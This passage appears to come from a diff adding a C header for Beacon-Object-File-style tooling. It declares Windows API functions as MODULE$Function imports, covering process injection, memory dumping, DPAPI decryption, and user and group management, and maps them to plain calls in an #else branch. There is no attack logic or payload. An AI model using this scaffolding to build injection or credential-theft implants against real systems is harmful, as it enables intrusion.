pszGroupName); +WINADVAPI WINBOOL WINAPI ADVAPI32$EnumDependentServicesA(SC_HANDLE hService,DWORD dwServiceState,LPENUM_SERVICE_STATUSA lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceStatusEx(SC_HANDLE hService,SC_STATUS_TYPE InfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded); +WINADVAPI WINBOOL WINAPI ADVAPI32$QueryServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPBYTE lpBuffer,DWORD cbBufSize,LPDWORD pcbBytesNeeded); +WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfig2A(SC_HANDLE hService,DWORD dwInfoLevel,LPVOID lpInfo); +WINADVAPI WINBOOL WINAPI ADVAPI32$ChangeServiceConfigA(SC_HANDLE hService,DWORD dwServiceType,DWORD dwStartType,DWORD dwErrorControl,LPCSTR lpBinaryPathName,LPCSTR lpLoadOrderGroup,LPDWORD lpdwTagId,LPCSTR lpDependencies,LPCSTR lpServiceStartName,LPCSTR lpPassword,LPCSTR lpDisplayName); +WINADVAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService,DWORD dwNumServiceArgs,LPCSTR *lpServiceArgVectors); +WINADVAPI WINBOOL WINAPI ADVAPI32$ControlService(SC_HANDLE hService,DWORD dwControl,LPSERVICE_STATUS lpServiceStatus); +WINADVAPI WINBOOL WINAPI ADVAPI32$DeleteService(SC_HANDLE hService); +WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey); +WINADVAPI LONG WINAPI ADVAPI32$RegConnectRegistryA(LPCSTR lpMachineName,HKEY hKey,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegCopyTreeA(HKEY src, LPCSTR subkey, HKEY dst); +WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition); +WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyExA(HKEY hKey,LPCSTR lpSubKey,REGSAM samDesired,DWORD Reserved); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyExW(HKEY hKey,LPCWSTR lpSubKey,REGSAM samDesired,DWORD Reserved); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyValueA(HKEY hKey,LPCSTR lpSubKey,LPCSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteKeyValueW(HKEY hKey,LPCWSTR lpSubKey,LPCWSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteTreeA(HKEY base, LPCSTR subkey); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteTreeW(HKEY base, LPCWSTR subkey); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueA(HKEY hKey,LPCSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueW(HKEY hKey,LPCWSTR lpValueName); +WINADVAPI LONG WINAPI ADVAPI32$RegEnumKeyExA(HKEY hKey,DWORD dwIndex,LPSTR lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime); +WINADVAPI LONG WINAPI ADVAPI32$RegEnumValueA(HKEY hKey,DWORD dwIndex,LPSTR lpValueName,LPDWORD lpcchValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); +WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExW(HKEY hKey,LPCWSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult); +WINADVAPI LONG WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey,LPSTR lpClass,LPDWORD lpcchClass,LPDWORD lpReserved,LPDWORD lpcSubKeys,LPDWORD lpcbMaxSubKeyLen,LPDWORD lpcbMaxClassLen,LPDWORD lpcValues,LPDWORD lpcbMaxValueNameLen,LPDWORD lpcbMaxValueLen,LPDWORD lpcbSecurityDescriptor,PFILETIME lpftLastWriteTime); +WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExA(HKEY hKey,LPCSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); +WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExW(HKEY hKey,LPCWSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); +WINADVAPI LONG WINAPI ADVAPI32$RegSaveKeyExA(HKEY hKey,LPCSTR lpFile,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD Flags); +WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData); +WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExW(HKEY hKey,LPCWSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData); +WINADVAPI WINBOOL WINAPI ADVAPI32$InitiateSystemShutdownExA(LPSTR lpMachineName, LPSTR lpMessage, DWORD dwTimeout, BOOL bForceAppsClosed, BOOL bRebootAfterShutdown, DWORD dwReason); + +//NTDLL +WINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateFile(PHANDLE FileHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,PIO_STATUS_BLOCK IoStatusBlock,PLARGE_INTEGER AllocationSize,ULONG FileAttributes,ULONG ShareAccess,ULONG CreateDisposition,ULONG CreateOptions,PVOID EaBuffer,ULONG EaLength); +WINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle); +WINBASEAPI NTSTATUS NTAPI NTDLL$NtRenameKey(HANDLE keyHandle, PUNICODE_STRING New_Name); +WINBASEAPI NTSTATUS NTAPI NTDLL$NtQueueApcThread(_In_ HANDLE ThreadHandle, _In_ PVOID ApcRoutine, _In_ PVOID ApcRoutineContext OPTIONAL, _In_ PVOID ApcStatusBlock OPTIONAL, _In_ ULONG ApcReserved OPTIONAL); +NTSYSAPI NTSTATUS NTAPI NTDLL$RtlGetVersion(PRTL_OSVERSIONINFOW lpVersionInformation); + +//IMAGEHLP +WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageEnumerateCertificates(HANDLE FileHandle,WORD TypeFilter,PDWORD CertificateCount,PDWORD Indices,DWORD IndexCount); +WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateHeader(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificateheader); +WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateData(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificate,PDWORD RequiredLength); + +//CRYPT32 +WINBASEAPI WINBOOL WINAPI CRYPT32$CryptVerifyMessageSignature (PCRYPT_VERIFY_MESSAGE_PARA pVerifyPara, DWORD dwSignerIndex, const BYTE *pbSignedBlob, DWORD cbSignedBlob, BYTE *pbDecoded, DWORD *pcbDecoded, PCCERT_CONTEXT *ppSignerCert); +WINBASEAPI DWORD WINAPI CRYPT32$CertGetNameStringW (PCCERT_CONTEXT pCertContext, DWORD dwType, DWORD dwFlags, void *pvTypePara, LPWSTR pszNameString, DWORD cchNameString); +WINBASEAPI WINBOOL WINAPI CRYPT32$CertFreeCertificateContext (PCCERT_CONTEXT pCertContext); +WINBASEAPI BOOL WINAPI CRYPT32$CryptUnprotectData(DATA_BLOB *, LPWSTR *, DATA_BLOB *, PVOID, CRYPTPROTECT_PROMPTSTRUCT *, DWORD, DATA_BLOB *); +WINIMPM WINBOOL WINAPI CRYPT32$CryptEncodeObjectEx (DWORD dwCertEncodingType, LPCSTR lpszStructType, const void *pvStructInfo, DWORD dwFlags, PCRYPT_ENCODE_PARA pEncodePara, void *pvEncoded, DWORD *pcbEncoded); +WINIMPM WINBOOL WINAPI CRYPT32$CryptBinaryToStringW (CONST BYTE *pbBinary, DWORD cbBinary, DWORD dwFlags, LPWSTR pszString, DWORD *pcchString); +WINIMPM HCERTSTORE WINAPI CRYPT32$PFXImportCertStore (CRYPT_DATA_BLOB *pPFX, LPCWSTR szPassword, DWORD dwFlags); +WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertEnumCertificatesInStore (HCERTSTORE hCertStore, PCCERT_CONTEXT pPrevCertContext); +WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateContextProperty (PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData); +WINIMPM WINBOOL WINAPI CRYPT32$CertAddCertificateContextToStore (HCERTSTORE hCertStore, PCCERT_CONTEXT pCertContext, DWORD dwAddDisposition, PCCERT_CONTEXT *ppStoreContext); +WINIMPM HCERTSTORE WINAPI CRYPT32$CertOpenStore (LPCSTR lpszStoreProvider, DWORD dwEncodingType, HCRYPTPROV_LEGACY hCryptProv, DWORD dwFlags, const void *pvPara); +WINIMPM WINBOOL WINAPI CRYPT32$CertCloseStore (HCERTSTORE hCertStore, DWORD dwFlags); +WINIMPM WINBOOL WINAPI CRYPT32$CertDeleteCertificateFromStore (PCCERT_CONTEXT pCertContext); +WINIMPM WINBOOL WINAPI CRYPT32$CryptBinaryToStringA (CONST BYTE *pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD *pcchString); +WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext (DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded); +WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertFindCertificateInStore (HCERTSTORE hCertStore, DWORD dwCertEncodingType, DWORD dwFindFlags, DWORD dwFindType, const void *pvFindPara, PCCERT_CONTEXT pPrevCertContext); + +//DNSAPI +WINBASEAPI VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType); +WINBASEAPI int WINAPI DNSAPI$DnsGetCacheDataTable(PVOID data); + +//OLE32 +WINBASEAPI HRESULT WINAPI OLE32$CoInitializeEx (LPVOID pvReserved, DWORD dwCoInit); +WINBASEAPI HRESULT WINAPI OLE32$CoUninitialize (void); +WINBASEAPI HRESULT WINAPI OLE32$CoInitializeSecurity (PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities, void *pReserved3); +WINBASEAPI HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv); +WINBASEAPI HRESULT WINAPI OLE32$CLSIDFromString (LPCOLESTR lpsz, LPCLSID pclsid); +WINBASEAPI HRESULT WINAPI OLE32$IIDFromString (LPCOLESTR lpsz, LPIID lpiid); +WINBASEAPI int WINAPI OLE32$StringFromGUID2 (REFGUID rguid, LPOLESTR lpsz, int cchMax); +WINBASEAPI HRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown* pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, OLECHAR* pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities); +WINBASEAPI LPVOID WINAPI OLE32$CoTaskMemAlloc(SIZE_T cb); +WINBASEAPI void WINAPI OLE32$CoTaskMemFree(LPVOID pv); + +//OLEAUT32 +WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *); +WINBASEAPI INT WINAPI OLEAUT32$SysReAllocString(BSTR *, const OLECHAR *); +WINBASEAPI UINT WINAPI OLEAUT32$SysStringLen(BSTR); +WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocStringByteLen(LPCSTR psz,UINT len); +WINBASEAPI UINT WINAPI OLEAUT32$SysStringByteLen(BSTR bstr); +WINBASEAPI void WINAPI OLEAUT32$SysFreeString(BSTR); +WINBASEAPI void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg); +WINBASEAPI void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg); +WINBASEAPI HRESULT WINAPI OLEAUT32$SysAddRefString(BSTR); +WINBASEAPI HRESULT WINAPI OLEAUT32$VariantChangeType(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, USHORT wFlags, VARTYPE vt); +WINBASEAPI void WINAPI OLEAUT32$VarFormatDateTime(LPVARIANT pvarIn,int iNamedFormat,ULONG dwFlags,BSTR *pbstrOut); +WINBASEAPI void WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY *psa); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayLock(SAFEARRAY *psa); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayGetElement(SAFEARRAY *psa, LONG *rgIndices, void *pv); +WINBASEAPI UINT WINAPI OLEAUT32$SafeArrayGetElemsize(SAFEARRAY *psa); + +//DBGHELP +WINBASEAPI WINBOOL WINAPI DBGHELP$MiniDumpWriteDump(HANDLE hProcess,DWORD ProcessId,HANDLE hFile,MINIDUMP_TYPE DumpType,CONST PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,CONST PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,CONST PMINIDUMP_CALLBACK_INFORMATION CallbackParam); + +//WLDAP32 +WINLDAPAPI LDAP* LDAPAPI WLDAP32$ldap_init(PSTR, ULONG); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_bind_s(LDAP *ld,const PSTR dn,const PCHAR cred,ULONG method); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_search_s(LDAP *ld,PSTR base,ULONG scope,PSTR filter,PZPSTR attrs,ULONG attrsonly,PLDAPMessage *res); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_entries(LDAP*,LDAPMessage*); +WINLDAPAPI struct berval **LDAPAPI WLDAP32$ldap_get_values_lenA (LDAP *ExternalHandle,LDAPMessage *Message,const PCHAR attr); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free_len(struct berval **vals); +WINLDAPAPI LDAPMessage* LDAPAPI WLDAP32$ldap_first_entry(LDAP *ld,LDAPMessage *res); +WINLDAPAPI LDAPMessage* LDAPAPI WLDAP32$ldap_next_entry(LDAP*,LDAPMessage*); +WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_first_attribute(LDAP *ld,LDAPMessage *entry,BerElement **ptr); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_values(PCHAR); +WINLDAPAPI PCHAR * LDAPAPI WLDAP32$ldap_get_values(LDAP *ld,LDAPMessage *entry,const PSTR attr); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free(PCHAR *); +WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_next_attribute(LDAP *ld,LDAPMessage *entry,BerElement *ptr); +WINLDAPAPI VOID LDAPAPI WLDAP32$ber_free(BerElement *pBerElement,INT fbuf); +WINLDAPAPI VOID LDAPAPI WLDAP32$ldap_memfree(PCHAR); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind(LDAP*); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind_s(LDAP*); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_msgfree(LDAPMessage*); + +//RPCRT4 +RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$UuidToStringA(UUID *Uuid,RPC_CSTR *StringUuid); +RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$RpcStringFreeA(RPC_CSTR *String); + +//PSAPI +WINBASEAPI WINBOOL WINAPI PSAPI$EnumProcesses(DWORD *lpidProcess,DWORD cb,DWORD *cbNeeded); +WINBASEAPI WINBOOL WINAPI PSAPI$EnumProcessModules(HANDLE hProcess,HMODULE *lphModule,DWORD cb,LPDWORD lpcbNeeded); +WINBASEAPI DWORD WINAPI PSAPI$GetModuleBaseNameW(HANDLE hProcess,HMODULE hModule,LPWSTR lpBaseName,DWORD nSize); + +//bcrypt + +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptOpenAlgorithmProvider (BCRYPT_ALG_HANDLE *phAlgorithm, LPCWSTR pszAlgId, LPCWSTR pszImplementation, ULONG dwFlags); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptCreateHash (BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_HASH_HANDLE *phHash, PUCHAR pbHashObject, ULONG cbHashObject, PUCHAR pbSecret, ULONG cbSecret, ULONG dwFlags); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptHashData (BCRYPT_HASH_HANDLE hHash, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptFinishHash (BCRYPT_HASH_HANDLE hHash, PUCHAR pbOutput, ULONG cbOutput, ULONG dwFlags); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptDestroyHash (BCRYPT_HASH_HANDLE hHash); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptCloseAlgorithmProvider (BCRYPT_ALG_HANDLE hAlgorithm, ULONG dwFlags); + +// GDI32 +WINBASEAPI HFONT WINAPI GDI32$CreateFontW(int cHeight, int cWidth, int cEscapement, int cOrientation, int cWeight, DWORD bItalic, DWORD bUnderline, DWORD bStrikeOut, DWORD iCharSet, DWORD iOutPrecision, DWORD iClipPrecision, DWORD iQuality, DWORD iPitchAndFamily, LPCWSTR pszFaceName); +WINBASEAPI BOOL WINAPI GDI32$DeleteObject(HGDIOBJ ho); +WINBASEAPI HGDIOBJ WINAPI GDI32$SelectObject(HDC hdc, HGDIOBJ h); +WINBASEAPI COLORREF WINAPI GDI32$SetTextColor(HDC hdc, COLORREF color); +WINBASEAPI COLORREF WINAPI GDI32$SetBkColor(HDC hdc, COLORREF color); +WINBASEAPI int WINAPI GDI32$SetBkMode(HDC hdc, int mode); +WINBASEAPI HBRUSH WINAPI GDI32$CreateSolidBrush(COLORREF color); + +//SYSTEMFUNCTION +//https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtlgenrandom +WINBASEAPI WINBOOL WINAPI ADVAPI32$SystemFunction036(PVOID RandomBuffer,ULONG RandomBufferLength); +#ifdef RtlGenRandom +#undef RtlGenRandom +#endif +#define RtlGenRandom ADVAPI32$SystemFunction036 + + +#else +//KERNEL32 +#define KERNEL32$VirtualAlloc VirtualAlloc +#define KERNEL32$VirtualAllocEx VirtualAllocEx +#define KERNEL32$VirtualProtectEx VirtualProtectEx +#define KERNEL32$VirtualQueryEx VirtualQueryEx +#define KERNEL32$VirtualFree VirtualFree +#define KERNEL32$VirtualFreeEx VirtualFreeEx +#define KERNEL32$LocalAlloc LocalAlloc +#define KERNEL32$LocalFree LocalFree +#define KERNEL32$GlobalAlloc GlobalAlloc +#define KERNEL32$GlobalFree GlobalFree +#define KERNEL32$HeapAlloc HeapAlloc +#define KERNEL32$HeapReAlloc HeapReAlloc +#define KERNEL32$GetProcessHeap GetProcessHeap +#define KERNEL32$HeapFree HeapFree +#define KERNEL32$FormatMessageA FormatMessageA +#define KERNEL32$WideCharToMultiByte WideCharToMultiByte +#define KERNEL32$MultiByteToWideChar MultiByteToWideChar +#define KERNEL32$FileTimeToLocalFileTime FileTimeToLocalFileTime +#define KERNEL32$FileTimeToSystemTime FileTimeToSystemTime +#define KERNEL32$GetDateFormatW GetDateFormatW +#define KERNEL32$GetSystemTimeAsFileTime GetSystemTimeAsFileTime +#define KERNEL32$GetSystemInfo GetSystemInfo +#define KERNEL32$GetLastError GetLastError +#define KERNEL32$SetLastError SetLastError +#define KERNEL32$CloseHandle CloseHandle +#define KERNEL32$GetTickCount GetTickCount +#define KERNEL32$CreateFiber CreateFiber +#define KERNEL32$ConvertThreadToFiber ConvertThreadToFiber +#define KERNEL32$ConvertFiberToThread ConvertFiberToThread +#define KERNEL32$DeleteFiber DeleteFiber +#define KERNEL32$SwitchToFiber SwitchToFiber +#define KERNEL32$WaitForSingleObject WaitForSingleObject +#define KERNEL32$Sleep Sleep +#define KERNEL32$CreateProcessW CreateProcessW +#define KERNEL32$CreateProcessA CreateProcessA +#define KERNEL32$OpenProcess OpenProcess +#define KERNEL32$GetCurrentProcess GetCurrentProcess +#define KERNEL32$GetCurrentThread GetCurrentThread +#define KERNEL32$GetExitCodeProcess GetExitCodeProcess +#define KERNEL32$WriteProcessMemory WriteProcessMemory +#define KERNEL32$ReadProcessMemory ReadProcessMemory +#define KERNEL32$GetCurrentProcessId GetCurrentProcessId +#define KERNEL32$GetProcessIdOfThread GetProcessIdOfThread +#define KERNEL32$ProcessIdToSessionId ProcessIdToSessionId +#define KERNEL32$InitializeProcThreadAttributeList InitializeProcThreadAttributeList +#define KERNEL32$UpdateProcThreadAttribute UpdateProcThreadAttribute +#define KERNEL32$DeleteProcThreadAttributeList DeleteProcThreadAttributeList +#define KERNEL32$CreateThread CreateThread +#define KERNEL32$CreateRemoteThread CreateRemoteThread +#define KERNEL32$OpenThread OpenThread +#define KERNEL32$GetThreadContext GetThreadContext +#define KERNEL32$SetThreadContext SetThreadContext +#define KERNEL32$SuspendThread SuspendThread +#define KERNEL32$ResumeThread ResumeThread +#define KERNEL32$GetComputerNameExW GetComputerNameExW +#define KERNEL32$lstrcmpA lstrcmpA +#define KERNEL32$lstrcmpW lstrcmpW +#define KERNEL32$lstrcmpiW lstrcmpiW +#define KERNEL32$lstrlenA lstrlenA +#define KERNEL32$lstrlenW lstrlenW +#define KERNEL32$lstrcatW lstrcatW +#define KERNEL32$lstrcpynW lstrcpynW +#define KERNEL32$GetFullPathNameW GetFullPathNameW +#define KERNEL32$GetFileAttributesW GetFileAttributesW +#define KERNEL32$GetCurrentDirectoryW GetCurrentDirectoryW +#define KERNEL32$FindFirstFileW FindFirstFileW +#define KERNEL32$FindNextFileW FindNextFileW +#define KERNEL32$FindClose FindClose +#define KERNEL32$ExpandEnvironmentStringsW ExpandEnvironmentStringsW +#define KERNEL32$ExpandEnvironmentStringsA ExpandEnvironmentStringsA +#define KERNEL32$GetTempPathW GetTempPathW +#define KERNEL32$GetTempFileNameW GetTempFileNameW +#define KERNEL32$CreateFileW CreateFileW +#define KERNEL32$CreateFileA CreateFileA +#define KERNEL32$GetFileSize GetFileSize +#define KERNEL32$ReadFile ReadFile +#define KERNEL32$WriteFile WriteFile +#define KERNEL32$DeleteFileW DeleteFileW +#define KERNEL32$CreateFileMappingA CreateFileMappingA +#define KERNEL32$MapViewOfFile MapViewOfFile +#define KERNEL32$UnmapViewOfFile UnmapViewOfFile +#define KERNEL32$GetEnvironmentStrings GetEnvironmentStrings +#define KERNEL32$FreeEnvironmentStringsA FreeEnvironmentStringsA +#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot +#define KERNEL32$Process32First Process32First +#define KERNEL32$Process32Next Process32Next +#define KERNEL32$LoadLibraryA LoadLibraryA +#define KERNEL32$GetProcAddress GetProcAddress +#define KERNEL32$FreeLibrary FreeLibrary +#define KERNEL32$CloseHandle CloseHandle + +//IPHLPAPI +#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo +#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo +#define IPHLPAPI$GetIpForwardTable GetIpForwardTable +#define IPHLPAPI$GetNetworkParams GetNetworkParams +#define IPHLPAPI$GetUdpTable GetUdpTable +#define IPHLPAPI$GetTcpTable GetTcpTable + +//MSVCRT +#define MSVCRT$calloc calloc +#define MSVCRT$realloc realloc +#define MSVCRT$free free +#define MSVCRT$memcmp memcmp +#define MSVCRT$memcpy memcpy +#define MSVCRT$memset memset +#define MSVCRT$sprintf sprintf +#define MSVCRT$vsnprintf vsnprintf +#define MSVCRT$_stricmp _stricmp +#define MSVCRT$strchr strchr +#define MSVCRT$strcmp strcmp +#define MSVCRT$strcpy strcpy +#define MSVCRT$strlen strlen +#define MSVCRT$wcsncmp wcsncmp +#define MSVCRT$strncmp strncmp +#define MSVCRT$strnlen strnlen +#define MSVCRT$strstr strstr +#define MSVCRT$strtok strtok +#define MSVCRT$swprintf swprintf +#define MSVCRT$_swprintf _swprintf +#define MSVCRT$wcscat wcscat +#define MSVCRT$wcsncat wcsncat +#define MSVCRT$_wcsicmp _wcsicmp +#define MSVCRT$wcscpy wcscpy +#define MSVCRT$wcscpy_s wcscpy_s +#define MSVCRT$wcschr wcschr +#define MSVCRT$wcsrchr wcsrchr +#define MSVCRT$wcslen wcslen +#define MSVCRT$wcsstr wcsstr +#define MSVCRT$wcstok wcstok +#define MSVCRT$wcstoul wcstoul +#define MSVCRT$_wtol _wtol +#define MSVCRT$swprintf_s swprintf_s + +//SHLWAPI +#define SHLWAPI$PathCombineW PathCombineW +#define SHLWAPI$PathFileExistsW PathFileExistsW +#define SHLWAPI$StrStrA StrStrA +#define SHELL32$ShellExecuteExW ShellExecuteExW + + +//WSOCK32 +#define WSOCK32$inet_addr inet_addr + +//WS2_32 +#define WS2_32$htonl htonl +#define WS2_32$htons htons +#define WS2_32$inet_ntoa inet_ntoa +#define WS2_32$InetNtopW InetNtopW +#define WS2_32$inet_pton inet_pton + +//NETAPI32 +#define NETAPI32$DsGetDcNameA DsGetDcNameA +#define NETAPI32$DsGetDcNameW DsGetDcNameW +#define NETAPI32$NetUserGetInfo NetUserGetInfo +#define NETAPI32$NetUserModalsGet NetUserModalsGet +#define NETAPI32$NetServerEnum NetServerEnum +#define NETAPI32$NetUserGetGroups NetUserGetGroups +#define NETAPI32$NetUserGetLocalGroups NetUserGetLocalGroups +#define NETAPI32$NetApiBufferFree NetApiBufferFree +#define NETAPI32$NetGetAnyDCName NetGetAnyDCName +#define NETAPI32$NetUserEnum NetUserEnum +#define NETAPI32$NetGroupGetUsers NetGroupGetUsers +#define NETAPI32$NetQueryDisplayInformation NetQueryDisplayInformation +#define NETAPI32$NetLocalGroupEnum NetLocalGroupEnum +#define NETAPI32$NetLocalGroupGetMembers NetLocalGroupGetMembers +#define NETAPI32$NetUserSetInfo NetUserSetInfo +#define NETAPI32$NetShareEnum NetShareEnum +#define NETAPI32$NetSessionEnum NetSessionEnum +#define NETAPI32$NetApiBufferFree NetApiBufferFree +#define NETAPI32$NetGroupAddUser NetGroupAddUser +#define NETAPI32$NetUserAdd NetUserAdd + +//MPR +#define MPR$WNetOpenEnumW WNetOpenEnumW +#define MPR$WNetEnumResourceW WNetEnumResourceW +#define MPR$WNetCloseEnum WNetCloseEnum +#define MPR$WNetGetNetworkInformationW WNetGetNetworkInformationW +#define MPR$WNetGetConnectionW WNetGetConnectionW +#define MPR$WNetGetResourceInformationW WNetGetResourceInformationW +#define MPR$WNetGetUserW WNetGetUserW +#define MPR$WNetAddConnection2W WNetAddConnection2W +#define MPR$WNetCancelConnection2W WNetCancelConnection2W + +//USER32 +#define USER32$CharPrevW CharPrevW +#define USER32$DdeInitializeA DdeInitializeA +#define USER32$DdeConnectList DdeConnectList +#define USER32$DdeDisconnectList DdeDisconnectList +#define USER32$DdeUninitialize DdeUninitialize +#define USER32$EnumDesktopWindows EnumDesktopWindows +#define USER32$EnumWindows EnumWindows +#define USER32$FindWindowA FindWindowA +#define USER32$FindWindowExA FindWindowExA +#define USER32$GetClassNameA GetClassNameA +#define USER32$GetPropA GetPropA +#define USER32$GetWindowThreadProcessId GetWindowThreadProcessId +#define USER32$GetWindowTextA GetWindowTextA +#define USER32$GetWindowLongA GetWindowLongA +#define USER32$GetWindowLongPtrA GetWindowLongPtrA +#define USER32$IsWindowVisible IsWindowVisible +#define USER32$PostMessageA PostMessageA +#define USER32$SendMessageA SendMessageA +#define USER32$SetPropA SetPropA +#define USER32$SetWindowLongA SetWindowLongA +#define USER32$SetWindowLongPtrA SetWindowLongPtrA +#define USER32$KillTimer KillTimer +#define USER32$SetTimer SetTimer +#define USER32$PostMessageW PostMessageW +#define USER32$BeginPaint BeginPaint +#define USER32$GetClientRect GetClientRect +#define USER32$FillRect FillRect +#define USER32$DrawTextW DrawTextW +#define USER32$EndPaint EndPaint +#define USER32$DestroyWindow DestroyWindow +#define USER32$PostQuitMessage PostQuitMessage +#define USER32$DefWindowProcW DefWindowProcW +#define USER32$DispatchMessageW DispatchMessageW +#define USER32$TranslateMessage TranslateMessage +#define USER32$GetMessageW GetMessageW +#define USER32$SetFocus SetFocus +#define USER32$RegisterClassExW RegisterClassExW +#define 